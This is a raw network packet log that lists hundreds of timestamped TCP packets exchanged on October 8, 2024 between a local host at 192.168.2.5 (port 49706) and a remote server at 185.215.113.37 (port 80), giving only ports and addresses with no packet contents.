Oct 8, 2024 05:27:17.518631935 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.518661022 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.518676996 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.518672943 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.518712997 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.518712997 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.518750906 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.519368887 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.519407034 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.519422054 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.519435883 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.519437075 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.519459963 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.519463062 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.519479990 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.519495010 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.519507885 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.519510031 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.519526958 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.519573927 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.519573927 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.519695997 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.519711018 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.519742012 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.519766092 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.519779921 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.519782066 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.519782066 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.519795895 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.519819975 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.519835949 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.519844055 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.519844055 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.519850969 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.519869089 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.519882917 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.519898891 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.519912958 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.519917011 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.519917011 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.519932985 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.519969940 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.519969940 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.520114899 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.520409107 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.520422935 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.520438910 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.520463943 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.520478010 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.520493984 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.520493984 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.520503044 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.520519018 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.520535946 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.520549059 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.520566940 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.520566940 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.520720959 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.520735025 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.520750999 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.520765066 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.520786047 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.520808935 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.520823002 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.520823956 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.520823002 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.520839930 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.520855904 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.520884037 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.520884037 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.521524906 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.558631897 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.558703899 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.558753967 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.558753967 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.558756113 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.558790922 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.558826923 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.558839083 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.558885098 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.558904886 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.558904886 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.558937073 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.558985949 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.558985949 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.558988094 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.559040070 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.559072018 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.559092999 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.559092999 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.559106112 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.559118032 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.559140921 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.559189081 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.559189081 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.559207916 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.559262037 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.559309006 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.559309006 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.559313059 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.559345961 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.559403896 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.559403896 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.559457064 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.559494972 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.559546947 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.559545994 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.559546947 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.559581041 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.559616089 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.559632063 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.559632063 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.559648991 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.559683084 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.559698105 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.559698105 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.559715033 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.559748888 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.559762001 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.559762001 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.559782028 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.559813976 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.559830904 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.559832096 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.559849977 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.559884071 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.559900999 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.559900999 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.559916973 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.559950113 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.559983015 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.560015917 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.560015917 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.560019016 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.560051918 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.560071945 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.560071945 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.560086012 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.560120106 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.560134888 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.560134888 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.560153961 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.560185909 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.560200930 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.560200930 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.560219049 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.560249090 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.560264111 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.560264111 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.560281992 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.560314894 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.560328960 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.560328960 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.560347080 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.560380936 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.560394049 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.560394049 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.560414076 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.560446978 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.560461044 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.560461044 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.560480118 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.560513973 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.560527086 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.560527086 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.560547113 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.560583115 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.560596943 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.560596943 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.560612917 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.560645103 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.560664892 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.560664892 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.560678005 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.560708046 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.560728073 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.560728073 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.560739040 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.560772896 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.560789108 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.560789108 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.560806036 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.560839891 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.560856104 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.560856104 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.560873032 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.560904980 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.560940027 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.560946941 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.560946941 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.560987949 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.560987949 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.606307983 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.606331110 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.606345892 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.606359959 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.606374979 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.606389046 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.606405973 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.606408119 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.606408119 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.606417894 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.606558084 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.606744051 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.606758118 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.606775045 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.606789112 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.606808901 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.606822014 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.606826067 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.606826067 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.606837988 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.606889009 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.606889009 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.606930971 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.606944084 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.606959105 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.607002020 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.607002020 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.607049942 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.607063055 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.607076883 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.607091904 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.607105970 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.607119083 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.607136965 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.607136965 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.607207060 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.607884884 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.607908010 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.607923985 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.607938051 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.607953072 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.607966900 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.607974052 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.607974052 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.607990980 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.608014107 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.608030081 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.608033895 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.608033895 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.608042955 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.608066082 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.608083010 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.608094931 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.608103991 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.608103991 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.608109951 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.608124971 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.608139038 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.608158112 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.608180046 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.608181953 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.608181953 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.608196020 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.608211994 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.608227015 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.608237982 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.608237982 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.608267069 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.608282089 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.608297110 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.608308077 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.608308077 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.608309984 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.608378887 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.608378887 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.608834982 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.608889103 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.608905077 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.608927965 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.608927965 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.608948946 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.608957052 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.608973026 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.609016895 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.609021902 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.609021902 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.609033108 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.609050989 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.609078884 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.609078884 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.609153032 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.609282970 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.609297991 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.609313011 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.609328032 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.609342098 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.609348059 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.609348059 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.609359980 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.609374046 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.609409094 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.609410048 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.609517097 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.647453070 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.647505045 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.647537947 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.647569895 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.647629023 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.647664070 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.647701979 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.647701979 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.647701979 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.647763968 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.647763968 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.688950062 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.693782091 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.907229900 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.907285929 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.907335043 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.907365084 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.907371998 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.907371998 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.907423973 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.907423973 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.907432079 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.907501936 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.907552004 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.907553911 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.907553911 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.907586098 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.907613993 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.907638073 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.907638073 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.907663107 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.907671928 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.907712936 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.907762051 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.907762051 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.907795906 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.907849073 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.907854080 CEST	49706	80	192.168.2.5	185.215.113.37
